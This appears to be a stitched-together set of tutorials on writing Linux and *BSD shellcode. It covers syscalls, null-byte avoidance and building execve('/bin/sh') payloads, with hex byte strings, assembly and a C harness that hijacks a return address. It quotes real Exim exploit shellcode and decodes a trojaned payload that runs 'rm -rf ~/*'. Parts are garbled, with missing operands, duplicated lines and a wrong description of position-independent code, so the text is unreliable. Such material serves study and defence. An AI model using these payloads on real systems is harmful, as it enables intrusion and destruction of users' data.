What is shell code? Virus for Linux. Learning to write shellcodes. Basic requirements for shellcode

IoT is the real trend of recent times. It uses the Linux kernel almost everywhere. However, there are relatively few articles on virus writing and shell coding for this platform. Do you think writing shellcode for Linux is only for the elite? Let's find out how to write a virus for Linux!

BASE FOR WRITING A VIRUS FOR LINUX

What do you need for work?

To compile the shellcode, we need a compiler and a linker. We will use nasm And ld. To test the shellcode, we will write a small program in C. To compile it we will need gcc. For some checks you will need rasm2(part of the framework radare2). We will use Python to write helper functions.

What's new in x64?

x64 is an extension of the IA-32 architecture. Its main distinguishing feature is support for 64-bit general-purpose registers, 64-bit arithmetic and logical operations on integers, and 64-bit virtual addresses.

More specifically, all 32-bit general purpose registers are retained and their extended versions are added ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) and several new general purpose registers ( r8, r9, r10, r11, r12, r13, r14, r15).

A new calling convention appears (unlike the x86 architecture, there is only one). According to it, when calling a function, each register is used for specific purposes, namely:

  • the first four integer arguments to the function are passed through registers rcx, rdx, r8 And r9 and through registers xmm0 - xmm3 for floating point types;
  • other parameters are passed via the stack;
  • For parameters passed through registers, space is still reserved on the stack;
  • the result of the function is returned via a register rax for integer types or via the xmm0 register for floating-point types;
  • rbp contains a pointer to the base of the stack, that is, the place (address) where the stack begins;
  • rsp contains a pointer to the top of the stack, that is, to the place (address) where the new value will be placed;
  • rsi, rdi used in syscall.

A little about the stack: since addresses are now 64-bit, values ​​on the stack can be 8 bytes in size.

Syscall. What? How? For what?

Syscall is the way user-mode interacts with the kernel in Linux. It is used for various tasks: I/O operations, writing and reading files, opening and closing programs, working with memory and networking, and so on. In order to complete syscall, necessary:

Load the corresponding function number into the rax register;
load input parameters into other registers;
call interrupt number 0x80(starting from kernel version 2.6 this is done through the call syscall).

Unlike Windows, where you still need to find the address of the required function, everything here is quite simple and concise.

The numbers of the required syscall functions can be found, for example,

execve()

If we look at ready-made shellcodes, many of them use the function execve().

execve() has the following prototype:

She calls the program FILENAME. Program FILENAME can be either an executable binary or a script that begins with the line #! interpreter.

argv is a pointer to an array, in fact, this is the same argv, which we see, for example, in C or Python.

envp- pointer to an array describing the environment. In our case it is not used, it will matter null.

Basic requirements for shellcode

There is such a thing as position-independent code. This is code that will be executed no matter where it is loaded. In order for our shellcode to be executed anywhere in the program, it must be position independent.

Most often the shellcode is loaded with functions like strcpy(). Similar functions use bytes 0x00, 0x0A, 0x0D as delimiters (depending on platform and function). Therefore, it is better not to use such values. Otherwise, the function may not copy the shellcode completely. Consider the following example:

$ rasm2 -a x86 -b 64 "push 0x00" 6a00

$rasm2 - a x86 - b 64 "push 0x00"

6a00

As you can see, the code push 0x00 compiles to the following bytes 6a 00. If we used code like this, our shellcode would not work. The function would copy everything up to the byte with value 0x00.

You cannot use “hardcoded” addresses in shellcode, because we do not know these same addresses in advance. For this reason, all strings in the shellcode are obtained dynamically and stored on the stack.

That seems to be all.

JUST DO IT!

If you have read this far, you should already have a picture of how our shellcode will work.

The first step is to prepare the parameters for the execve() function and then place them correctly on the stack. The function will look like this:

The second parameter is an array argv. The first element of this array contains the path to the executable file.

The third parameter represents information about the environment, we don't need it, so it will have a value null.

First we get a zero byte. We can't use a structure like mov eax, 0x00 because it will introduce null bytes in the code, so we will use the following instruction:

xor rdx, rdx

Let's leave this value in the register rdx- it will also be needed as the end-of-line character and the value of the third parameter (which will be null).

Since the stack grows from high to low addresses, and the function execve() will read the input parameters from low to high (that is, the stack works with memory in reverse order), then we will put inverted values ​​on the stack.

To reverse a string and convert it to hex, you can use the following function in Python:


Let's call this function for /bin/sh: >>> rev.rev_str("/bin/sh")

"68732f6e69622f"

We received a null byte (the second byte from the end), which will break our shellcode. To prevent this from happening, let's take advantage of the fact that Linux ignores sequential slashes (that is, /bin/sh And /bin//sh- It is the same).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

No null bytes!

Then we look on the site for information about the execve() function. We look at the function number, which we put in rax - 59. We look at which registers are used:
rdi- stores the address of the string FILENAME;
rsi- stores the address of the string argv;
rdx- stores the address of the envp string.

Now let's put everything together.
We put the end-of-line character on the stack (remember that everything is done in reverse order):

xor rdx, rdx push rdx

xor rdx, rdx

push rdx

Put the string on the stack /bin//sh: mov rax, 0x68732f2f6e69622f
push rax

Getting the address of the line /bin//sh on the stack and immediately push it to rdi: mov rdi, rsp

In rsi you need to put a pointer to an array of strings. In our case, this array will contain only the path to the executable file, so it is enough to put there an address that refers to the memory where the line address is located (in C, a pointer to a pointer). We already have the address of the line, it is in the rdi register. The argv array must end with a null byte, which we have in the register rdx:

push rdx push rdi mov rsi, rsp

push rdx

push rdi

mov rsi, rsp

Now rsi points to an address on the stack containing a pointer to a string /bin//sh.

We put it in rax function number execve(): xor rax, rax
mov al, 0x3b

As a result, we got the following file:


Compile and link for x64. For this:

$ nasm -f elf64 example.asm $ ld -m elf_x86_64 -s -o example example.o

$ nasm - f elf64 example .asm

$ ld - m elf_x86_64 - s - o example example .o

Now we can use objdump -d example to view the resulting file.

FreeBSD Magazine, 09.2010

Shell code is a sequence of machine commands that can be used to force an already running program to do something alternative. Using this method, you can exploit some software vulnerabilities (for example, stack overflow, heap overflow, format string vulnerabilities).

An example of what the shell code might look like:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

That is, generally speaking, this is a sequence of bytes in machine language. The purpose of this document is to review the most common techniques for developing shell code for Linux and *BSD systems running on the x86 architecture.

Having rummaged around the Internet, you can easily find ready-made examples of shell code, which you just need to copy and place in the right place. Why study its development? In my opinion, there are at least a couple of good reasons:

Firstly, learning the internals of something is almost always a good idea before using it, helps avoid any nasty surprises (this issue will be discussed later at http://www.kernel-panic.it/security/shellcode/shellcode6 .html in details);

Secondly, keep in mind that shell code can run in completely different environments, such as input-output filters, string manipulation areas, IDS, and it is useful to imagine how it needs to be modified to suit the conditions;

Additionally, the concepts of exploiting vulnerabilities will help you write more secure programs.

Next, knowing assembler for the IA-32 architecture will come in handy, as we will cover topics such as register usage, memory addressing, and other similar topics. In any case, at the end of the article there is a number of materials useful for learning or refreshing your memory of basic information about assembly programming. Basic knowledge of Linux and *BSD is also required.

Linux system calls
Although shell code can, in principle, do anything, the main purpose of running it is to gain access to the command interpreter (shell) on the target machine, preferably in privileged mode, which is where the name shell code comes from.
The simplest and most direct way to perform a complex task in assembly language is to use system calls. System calls provide the interface between user space and kernel space; in other words, it is a way for a user program to receive services from kernel services. For example, the file system is managed, new processes are launched, access to devices is provided, and so on.
As shown in Listing 1, system calls are defined in the file /usr/src/linux/include/asmi386/unistd.h, each with a number.
There are two standard ways to use system calls:

Enable software interrupt 0x80;
- calling a wrapper function from libc.

The first method is more portable, since it can be used for any Linux distribution (determined by the kernel code). The second method is less portable because it is defined by standard library code.

int 0x80
Let's take a closer look at the first method. When the processor receives interrupt 0x80, it enters kernel mode and executes the requested function, obtaining the required handler from the Interrupt Descriptor Table. The system call number must be defined in the EAX, which will ultimately contain the return value. In turn, function arguments, up to six, must be contained in EBX, ECX, EDX, ESI, EDI and EBP, in that order and only the required number of registers, and not all. If a function requires more than six arguments, you must put them in a structure and store a pointer to the first element in EBX.

It should be remembered that Linux kernels prior to 2.4 do not use the EBP register to pass arguments, and therefore can only pass five arguments via registers.

After storing the system call number and parameters in the appropriate registers, interrupt 0x80 is called: the processor enters kernel mode, executes the system call and transfers control to the user process. To reproduce this scenario you need:

Create a structure in memory containing system call parameters;
- save a pointer to the first argument in EBX;
- execute software interrupt 0x80.

The simplest example will contain the classic - the exit(2) system call. From the file /usr/src/linux/include/asm-i386/unistd.h we find out its number: 1. The man page will tell us that there is only one required argument (status), as shown in Listing 2.

We will save it in the EBX register. Therefore, the following instructions are needed:

exit.asm mov eax, 1 ; Number of the _exit(2) syscall mov ebx, 0 ; status int 0x80 ; Interrupt 0x80

libc
As stated, another standard method is to use a C function. Let's see how this is done using a simple C program as an example:

exit.c main () ( exit(0); )

You just need to compile it:

$ gcc -o exit exit.c

Let's disassemble it using gdb to make sure it uses the same system call (Listing 3).

Listing 3. Disassembling the exit program using the gdb debugger$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas main Dump of assembler code for function main: 0x08048364: push %ebp 0x08048365: mov %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: and $0xffffff0,%esp 0x0804836d: mov $0x0,%eax 0x08048372: sub %eax,%esp 0x08048374: mov l $0x0,(%esp) 0x0804837b: call 0x8048284 End of assembler dump. (gdb)

The last function in main() is a call to exit(3). Next we see that exit(3) in turn calls _exit(2), which calls a system call, including interrupt 0x80, Listing 4.

Listing 4. Making a system call(gdb) disas exit Dump of assembler code for function exit: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: call 0x400ced9c<_exit>[...] End of assembler dump. (gdb) disas _exit Dump of assembler code for function _exit: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>

Thus, shellcode using libc indirectly calls the _exit(2) system call:

push dword 0 ; status call 0x8048284 ; Call the libc exit() function ;(address obtained from the above disassembly) add esp, 4 ; Clean up the stack

*BSD System Calls
In the *BSD family, system calls look a little different; there is no difference in indirect calls (using libc function addresses).
System call numbers are listed in the file /usr/src/sys/kern/syscalls.master, this file also contains function prototypes. Listing 5 shows the beginning of the file in OpenBSD:

The first line contains the number of the system call, the second - its type, the third - the function prototype. Unlike Linux, *BSD system calls do not use the fast calling convention of pushing arguments onto registers, but instead use the C style pushing arguments onto the stack. The arguments are placed in reverse order, starting with the rightmost one, so they will be retrieved in the correct sequence. Immediately after returning from the system call, the stack must be cleared by placing the number of bytes equal to the length of all arguments into the stack offset pointer (or, more simply, by adding bytes equal to the number of arguments multiplied by 4). The role of the EAX register is the same as in Linux, it contains the number of the system call, and ultimately contains the return value.

Thus, there are four steps required to execute a system call:

Storing call number in EAX;
- placing arguments in reverse order on the stack;
- execution of software interrupt 0x80;
- stack clearing.

The Linux example, converted for *BSD, would look like this:

exit_BSD.asm mov eax, 1 ; Syscall number push dword 0 ; rval push eax ; Push one more dword (see below) int 0x80 ; 0x80 interrupt add esp, 8 ; Clean up the stack

Writing shell code
The following examples, designed for Linux, can easily be adapted to the *BSD world. To get the finished shell code, we just need to get the opcodes corresponding to the assembly instructions. Three methods are commonly used to obtain opcodes:

Writing them manually (with Intel documentation in hand!);
- writing assembly code and then extracting the opcode;
- writing code in C and then disassembling it.

Let's now look at the remaining two methods.

In assembler
The first step is to use the assembly code from the exit.asm example using the _exit(2) system call. To obtain the opcodes, we use nasm and then disassemble the assembled binary using objdump, as shown in Listing 6.

The second column contains the machine codes we need. So we can write our first shell code and test it using a simple C program taken from http://www.phrack.org/

Listing 7. Testing the opcode sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; )

Despite the popularity of this approach, the C code for the verification program may not seem clear enough. However, it simply overwrites the address of the main() function with the address of the shellcode for the purpose of executing the shellcode instructions in main(). After the first instruction, the stack evolves as follows:

The return address (placed by the CALL instruction) to be placed in the EIP on exit;
- saved EBP (to be restored when exiting the function);
- ret (first local variable in main() function)

The second instruction increments the address of the ret variable by eight bytes (two dwords) to obtain the address of the return address, that is, a pointer to the first instruction that will be executed in main(). Finally, the third instruction overwrites the address with the shellcode address. At this point, the program exits main(), restores the EBP, stores the shellcode address in EIP, and executes it. To view all these operations, you need to compile and run sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

I hope your mouth opened wide enough. To ensure that the shell code is executed, just run the application under strace, Listing 8.

Listing 8. Test application trace$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size=1243792, ...)) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED , 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 close(3) = 0 munmap(0x40018000, 60420) = 0 _exit(0) = ? $

The last line is the call to _exit(2). However, looking at the shellcode we see a small problem: it contains a lot of null bytes. Since shell code is often written into a string buffer, these bytes will end up in the line separator and the attack will fail. There are two ways to solve the problem:

Write instructions that do not contain zero bytes (and this is not always possible);
- write shell code to modify it manually, removing null bytes, so that at runtime the code itself adds null bytes, aligning the string to the delimiter.

Let's look at the first method.
The first instruction (mov ebx, 0) can be modified to be more common (for performance reasons):

xor ebx, ebx

The second instruction contains all these zeros because a 32-bit register (EAX) is used, this produces 0x01s which become 0x01000000 (the nibbles are in reverse order since the Intel® is a little endian processor). So we can solve this problem simply by using an eight-bit register (AL):

mov al, 1

Now our assembly code looks like this:

xor ebx, ebx mov al, 1 int 0x80

and no null bytes (Listing 9).

Listing 9. Checking shellcode$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: file format elf32-i386 Disassembly of section .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Listing 10. Exit.c binary opened with gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas _exit Dump of assembler code for function _exit: 0x400ced9c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nop End of assembler dump. (gdb)

As you can see, the _exit(2) function actually uses two system calls: 0xfc (252), _exit_group(2), and then, _exit(2). _exit_group(2) is similar to _exit(2), but its purpose is to terminate all threads in the group. Our code really only needs the second system call.

Let's extract the opcodes:

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

Also, as in the previous example, you will need to overcome zero bytes.

Getting the console
It's time to write shell code that will allow you to do something more useful. For example, we could create code to access the console and have it exit cleanly after spawning the console. The simplest approach here is to use the execve(2) system call. Be sure to look at the man page, Listing 11.

Listing 11. man 2 execve EXECVE(2) Linux Programmer's Manual EXECVE(2) NAME execve – execute program SYNOPSIS #include int execve(const char *filename, char *const argv , char *const envp); DESCRIPTION execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "#! interpreter ". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form as environment to the new program. Both, argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program"s main function, when it is defined as int main(int argc, char *argv, char *envp). [...]

We must pass three arguments:

A pointer to the name of the program to execute, in our case, a pointer to the line /bin/sh;
- a pointer to an array of strings passed as program arguments, the first argument must be argv, that is, the name of the program itself, the last argument must be a null pointer;
- a pointer to an array of strings for passing them as the program environment; These strings are usually given in the format key=value and the last element of the array must be a null pointer. In C it looks something like this:

Let's put it together and see how it works:

Well, well, we got the shell. Now let's see what this system call looks like in assembler (since we used three arguments, we can use registers instead of a structure). Two problems immediately become apparent:

The first problem is known: we cannot leave null bytes in the shell code, but in this case the argument is a string (/bin/sh) that is terminated with a null byte. And we must pass two null pointers among the arguments to execve(2)!
- the second problem is to find the address of the line. Absolute memory addressing is difficult, and it will also make shell code practically unportable.

To solve the first problem, we'll make our shellcode capable of inserting null bytes at the right places at runtime. To solve the second problem we will use relative addressing. The classic method to reclaim the shellcode address is to start with a CALL statement. In fact, the first thing CALL does is push the address of the next byte onto the stack so that it can be pushed (by a RET instruction) into EIP after the called function returns. Execution then moves to the address specified by the CALL instruction parameter. This way we get a pointer to our string: the address of the first byte after the CALL is the last value on the stack and we can easily get it using POP. So the general shellcode plan would be something like this:

Listing 12. jmp short mycall ; Immediately jump to the call instruction shellcode: pop esi ; Store the address of "/bin/sh" in ESI [...] mycall: call shellcode ; Push the address of the next byte onto the stack: the next db "/bin/sh" ; byte is the beginning of the string "/bin/sh"

Let's see what it does:

First, the shellcode jumps to the CALL instruction;
- CALL pushes the address of the line /bin/sh onto the stack, not yet terminated with a zero byte; the db directive simply initializes a sequence of bytes; then execution jumps again to the beginning of the shell code;
- the address of the string is then popped from the stack and stored in the ESI. Now we can access the memory address using the string address.

From now on, you can use a shellcode structure filled with something useful. Let's analyze our planned actions step by step:

Pad EAX with zeros so that they are available for our purposes;
- we terminate the line with a zero byte copied from EAX (we will use the AL register);
- let's ask ourselves that ECX will contain an array of arguments consisting of the address of the string and a null pointer; this task will be accomplished by writing the address contained in ESI into the first three bytes, and then a null pointer (zeros again taken from EAX);
- save the system call number in (0x0b) EAX;
- save the first argument to execve(2) (that is, the string address stored in ESI) in EBX;
- save the array address in ECX (ESI + 8);
- save the address of the null pointer in EDX (ESI+12);
- execute interrupt 0x80.

The resulting assembly code is shown in Listing 13.

Listing 13. Reworked assembly code get_shell.asm jmp short mycall ; Immediately jump to the call instruction shellcode: pop esi ; Store the address of "/bin/sh" in ESI xor eax, eax ; Zero out EAX mov byte, al; Write the null byte at the end of the string mov dword , esi ; , i.e. the memory immediately below the string ; "/bin/sh", will contain the array pointed to by the ; second argument of execve(2); therefore we store in ;

the address of the string... mov dword , eax ; ...and in the NULL pointer (EAX is 0) mov al, 0xb ; Store the number of the syscall (11) in EAX lea ebx, ; Copy the address of the string in EBX lea ecx, ; Second argument to execve(2) lea edx, ; Third argument to execve(2) (NULL pointer) int 0x80 ; Execute the system call mycall: call shellcode ; Push the address of "/bin/sh" onto the stack db "/bin/sh"

Let's extract the opcodes, Listing 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ exit $
Trust is good...

Let's look at the shell code from the exploit (http://www.securityfocus.com/bid/12268/info/), written by Rafael San Miguel Carrasco. It exploits a buffer overflow vulnerability in the Exim mail program:

static char shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Let's disassemble it using ndisasm, will we get something familiar? Listing 16.$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp short 0x19 ; Initial jump to the CALL 00000002 5E pop esi ; Store the address of the string in ; ESI 00000003 897608 mov ,esi ; Write the address of the string in ; ESI + 8 00000006 31C0 xor eax,eax ; Zero out EAX 00000008 884607 mov ,al ; Null-terminate the string 0000000B 89460C mov ,eax ; Write the null pointer to ESI + 12 0000000E B00B mov al,0xb ; Number of the execve(2) syscall 00000010 89F3 mov ebx,esi ; Store the address of the string in ; EBX (first argument) 00000012 8D4E08 lea ecx, ; Second argument (pointer to the ; array) 00000015 31D2 xor edx,edx ; Zero out EDX (third argument) 00000017 CD80 int 0x80 ; Execute the syscall 00000019 E8E4FFFFFF call 0x2 ; Push the address of the string and ; jump to the second; instruction 0000001E 2F das; "/bin/shX" 0000001F 62696E bound ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...but better control
But still, the best practice remains the habit of checking the shell code before using it. For example, on May 28, 2004, prankster posted a public exploit for rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), but the code was unclear: following a section of well-commented code there was an inconspicuous piece, Listing 17.

After viewing main(), it became clear that the exploit was running locally:

(long) funct = [...] funct();

Thus, to understand what the shellcode does, we don't have to run it, but rather disassemble it, Listing 18.

Listing 18. Disassembled, poorly visible shellcode$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp short 0x12 ; Jum to the CALL 00000002 5E pop esi; Retrieve the address of byte 0x17 00000003 31C9 xor ecx,ecx ; Zero out ECX 00000005 B14B mov cl,0x4b ; Setup the loop counter (see ; insctruction 0x0E) 00000007 B0FF mov al,0xff ; Setup the XOR mask 00000009 3006 xor ,al ; XOR byte 0x17 with AL 0000000B FEC8 dec al ; Decrease the XOR mask 0000000D 46 inc esi ; Load the address of the next byte 0000000E E2F9 loop 0x9 ; Keep XORing until ECX=0 00000010 EB05 jmp short 0x17 ; Jump to the first XORed instruction 00000012 E8EBFFFFFF call 0x2 ; PUSH the address of the next byte and ; jump to the second instruction 00000017 17 pop ss [...]

As you can see, this is a self-modifying shellcode: instructions 0x17 to 0x4B are decoded at runtime by XORing their value from AL, which is first padded with 0xFF and then decremented on each pass of the loop. After decoding, the instruction is executed (jmp short 0x17). Let's try to understand which instruction is actually executed. We can decode shell code using Python, Listing 19.

Listing 19. Decoding shell code using Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" print "".join()])

The hex dump will give us the first idea: look at Listing 20.

Hmmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Don't be too optimistic about the code! But to be sure, let's disassemble it, Listing 21.

The first is a CALL statement, immediately followed by a line that prints a hexadecimal dump. The beginning of the shell code can be rewritten this way, see Listing 22.

Let's save the opcodes, starting with instruction 0x2a (42), Listing 23:

Listing 23. Checking which functions are called$ ./decode_exp.py | cut -c 43- | ndisasm -u - 00000000 5D pop ebp ; Retrieve the address of the string ; "/bin/sh" 00000001 31C0 xor eax,eax ; Zero out EAX 00000003 50 push eax ; Push the null pointer onto the stack 00000004 8D5D0E lea ebx, ; Store the address of ; "rm -rf ~/* 2>/dev/null" in EBX 00000007 53 push ebx ; and push it on the stack 00000008 8D5D0B lea ebx, ; Store the address of "-c" in EBX 0000000B 53 push ebx ; and push it on the stack 0000000C 8D5D08 lea ebx, ; Store the address of "sh" in EBX 0000000F 53 push ebx ; and push it on the stack 00000010 89EB mov ebx,ebp ; Store the address of "/bin/sh" in ; EBX (first arg to execve()) 00000012 89E1 mov ecx,esp ; Store the stack pointer to ECX (ESP ; points to"sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Third arg to execve() 00000016 B00B mov al,0xb ; Number of the execve() syscall 00000018 CD80 int 0x80 ; Execute the syscall 0000001A 89C3 mov ebx,eax ; Store 0xb in EBX (exit code=11) 0000001C 31C0 xor eax,eax ; Zero out EAX 0000001E 40 inc eax ; EAX=1 (number of the exit() syscall) 0000001F CD80 int 0x80 ; Execute the syscall

From this we can clearly see that execve(2) is called with an array of arguments sh, -c, rm -rf ~/* 2>/dev/null. So it never hurts to test your code before going live!

Shellcode is a piece of code built into a malicious program that allows, after infecting the victim's target system, to obtain the command shell code, for example /bin/bash in UNIX-like OSes, command.com in black-screen MS-DOS and cmd .exe in modern Microsoft Windows operating systems. Very often shellcode is used as an exploit payload.

Shellcode

Why is this necessary?

As you understand, it is not enough to simply infect a system, exploit a vulnerability, or disable some system service. All these actions in many cases are aimed at gaining admin access to the infected machine.

So malware is just a way to get onto a machine and gain shell, that is, control. And this is a direct path to leaking confidential information, creating botnet networks that turn the target system into zombies, or simply performing other destructive functions on a hacked machine.

Shellcode is typically injected into the host program's memory, after which control is transferred to it by exploiting bugs such as stack overflows or heap-based buffer overflows, or by using format string attacks.

Control is transferred to the shellcode by overwriting the return address on the stack with the address of the embedded shellcode, overwriting the addresses of called functions, or changing interrupt handlers. The result of all this is the execution of shellcode, which opens the command line for the attacker to use.

When exploiting a remote vulnerability (that is, an exploit), the shellcode can open a predefined TCP port on the vulnerable computer for further remote access to the command shell. This code is called port binding shellcode.

If the shellcode is connected to the attacker's computer port (for the purpose of bypassing or leaking through NAT), then such code is called reverse shell shellcode.

Ways to run shellcode into memory

There are two ways to run shellcode into memory for execution:

  • The position-independent code (PIC) method is a code that uses a rigid binding of binary code (that is, code that will be executed in memory) to a specific address or data. The shellcode is essentially a PIC. Why is tight binding so important? The shell cannot know where exactly the RAM will be located, since during the execution of different versions of a compromised program or malware, they can load the shellcode into different memory cells.
  • The Identifying Execution Location method requires the shellcode to dereference the underlying pointer when accessing data in a position-independent memory structure. Adding (ADD) or subtracting (Reduce) values ​​from the underlying pointer allows you to safely access the data that is included in the shellcode.